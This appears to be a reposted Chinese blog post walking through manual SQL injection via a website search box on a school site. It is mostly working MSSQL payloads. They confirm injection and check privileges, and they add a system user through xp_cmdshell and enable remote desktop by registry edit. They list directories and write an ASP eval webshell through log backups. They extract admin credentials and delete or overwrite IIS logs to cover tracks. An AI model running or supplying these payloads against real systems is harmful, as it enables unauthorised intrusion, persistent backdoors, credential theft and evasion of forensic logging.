總結搜索型手工注入的全過程

 


author:鴻鴻

本人是小菜,水平有限,但是爲了論壇做貢獻,還是自己寫點原創的東西出來吧。希望大牛看了別笑就好了。。。。
=======================================================
前段時間朋友丟了一個站過來,說是他們學校的。叫我幫忙檢測下。
於是看了下。用掃描器掃了下,沒有啥可以上傳利用的,發現後臺,默認和萬能密碼無效,
無注入點,手工和工具試過了,防注入,COOKIES注入也不行。找不到程序源碼,沒辦法分析。旁註 ?
整站是獨立服務器,就一個站,旁註也沒辦法。難到要C段?好麻煩哦。丟給羣裏一些大牛看看,
都說搞不定(應該是沒認真看吧。),我大受打擊,但是我不放棄,再去看看先。
於是,發現了一個搜索框,直覺告訴我,這就是突破點,果然.....

前段時間的事情了,沒辦法截圖。
整個過程做了簡單的筆記,和蒐集了一些手工注入的代碼。湊合着看吧。


首先,簡單的判斷搜索型注入漏洞存在不存在的辦法是先搜索,如果出錯,說明90%存在這個漏洞。

a%' and 1=1-- 正常
a%' and 1=2-- 錯誤

有注入

由於網站過濾了 ' 等等的。所以工具不行,要手工了。累人啊~~~

判斷權限
a%' and (select is_member('dbo'))=1--    返回正常則 sa
a%' and (select is_member('db_owner'))=1--   返回正常則 DB
都不是那就只有一種可能啦,public,權限貌似很小。

也可以用另一種命令來判斷權限
a%' and 1=(Select IS_SRVROLEMEMBER('sysadmin'));-- sa
a%' and 1=(Select IS_MEMBER('db_owner'));-- DB
===========================================================================
sa 的方法。直接建立系統帳號密碼。登陸3389.


命令是
a%';exec master..xp_cmdshell"net user admins 123456 /add"--

如果 'xp_cmdshell' 被關閉了。就來開啓他。
EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;reconfigure
最後這個爲1是開啓.爲0是關閉.
a%' ;EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXECsp_configure 'xp_cmdshell', 1;RECONFIGURE--


如果不開3389

下面的命令。。

a%';exec master.dbo.xp_regwrite'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Control\Terminal Server','fDenyTSConnections','REG_DWORD',0;--

=========================================================
db 的方法

主要思路是列目錄-差異備份 還有需要庫名。想辦法弄出來。

首先列目錄

a%' order by XX-- 自己猜 例如 12

然後

a%' and 1=2 union select 1,2,3,4,5,6,7,8,9,10,11,12--

找到字符類型的,能顯示出來的 比如 5

《MSSQL手工注入目錄查找輔助工具》這個自己百度去哈。。。

用 天陽的《MSSQL手工注入目錄查找輔助工具》 生成列目錄的代碼 現在例如生成的是C盤的

然後

a%' ;drop table t_tian6 create table t_tian6(fn nvarchar(4000),d int,f int) declare @root nvarchar(4000) set @root=0x43003A00 insert into t_tian6 exec master..xp_dirtree @root,1,1 update t_tian6 set fn=fn+char(92) where f=0 drop table t_tian6_1 create tabLe t_tian6_1(f nvarchar(4000))-- //建立插入表數據

然後

a%' ;declare @fn nvarchar(400),@f int,@r nvarchar(4000) set @r=char(9) declare cr cursor for select fn,f from t_tian6 order by f,fn open cr fetch cr into @fn,@f while @@fetch_status=0 begin set @r=@r+@fn+char(9) fetch cr into @fn,@f end close cr deallocate cr insert intO t_tian6_1(f) values(@r)-- //遠程整理


然後

a%' and 1=2 union select 1,2,3,4,(select top 1 f from t_tian6_1),6,7,8,9,10,11,12--

獲取結果。就顯示出來路徑了。

接下來就是 繼續 用 《MSSQL手工注入目錄查找輔助工具》生成列目錄的代碼,按照上面的步驟來做, 獲取路徑。。。直到找到網站根目錄。

然後再獲取庫名

命令:

a%' and 1=2 union select 1,2,3,4,(select db_name()),6,7,8,9,10,11,12--

and (select db_name())>0 是查詢庫名的。這裏直接在裏面顯示。 //and user>0 查看當前用戶的。這裏貌似沒什麼用,應該不需要,但是平時注入的時候很常用。

接下來就是 差異備份一句話木馬了。

這裏用LOG 5步備份法。最後 如果拿到權限後,最好把 備份的東西給刪除了吧。

代碼是

a%';alter database 庫名 set RECOVERY FULL--

a%';create table cmd (a image)--

a%';backup log 庫名 to disk = 'c:\backuplog.bak' with init--

a%';insert into cmd (a) values (0x3C256576616C20726571756573742822612229253E)--

a%';backup log 庫名 to disk = 'D:/****/a.asp'-- //路徑就填剛纔獲取到的


0x3C256576616C20726571756573742822612229253E = 一句話木馬 =<%eval(request("a"))%>

庫名 是剛纔查詢到的。自己填。

然後就是用一句話上去連。OK。成功了。

========================================================================
public權限的又改如何拿?

那就只好查管理員的帳號密碼 然後 登陸後臺拿webshell了。


a%' order by XX 自己猜 例如 12

然後

a%' and 1=2 union select 1,2,3,4,5,6,7,8,9,10,11,12--

猜表

a%' and 1=2 union select 1,2,3,4,5,6,7,8,9,10,11,12 from admin-- // 猜他是admin 返回正常則有,不正常的話,就試其他的比如:manage user 等等

a%' and 1=2 union select 1,2,3,4,username,password,7,8,9,10,11,12 from admin--

猜帳號密碼

2個字段 一個 username 一個 password 。返回正常則 會顯示管理員帳號密碼的。
不對的話,就試試別的字段。

然後就是登陸後臺,拿webshell了。

======================================================================================
清除日誌:

刪除:
a%';exec master..xp_cmdshell"del C:\winnt\system32\logfiles\W3SVC1\ex090127.log"--

覆蓋:(推薦)
a%';exec master..xp_cmdshell"copy C:\winnt\system32\logfiles\W3SVC1\ex090201.log C:\winnt\system32\logfiles\W3SVC1\ex100201.log"--

按照系統的不同而自己改路徑。
======================================================================================
備註:
如果在搜索框內字數被限制了。就點查看源文件,找到
<input type="text" name="keyword" size=10 value="無關鍵字" maxlength="50">

把文本框內的
maxlength值改的大一些。
比如
<input type="text" name="keyword" size=10 value="無關鍵字" maxlength="1000000">
然後保存到本地提交。

就不會限制到了。呵呵。我就不信你能輸入命令超過這個數。
好像有點多餘,呵呵。
本文來源於獨自等待博客:http://www.waitalone.cn/ 原文地址:http://www.waitalone.cn/post/541.html


 

發佈了180 篇原創文章 · 獲贊 84 · 訪問量 111萬+
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章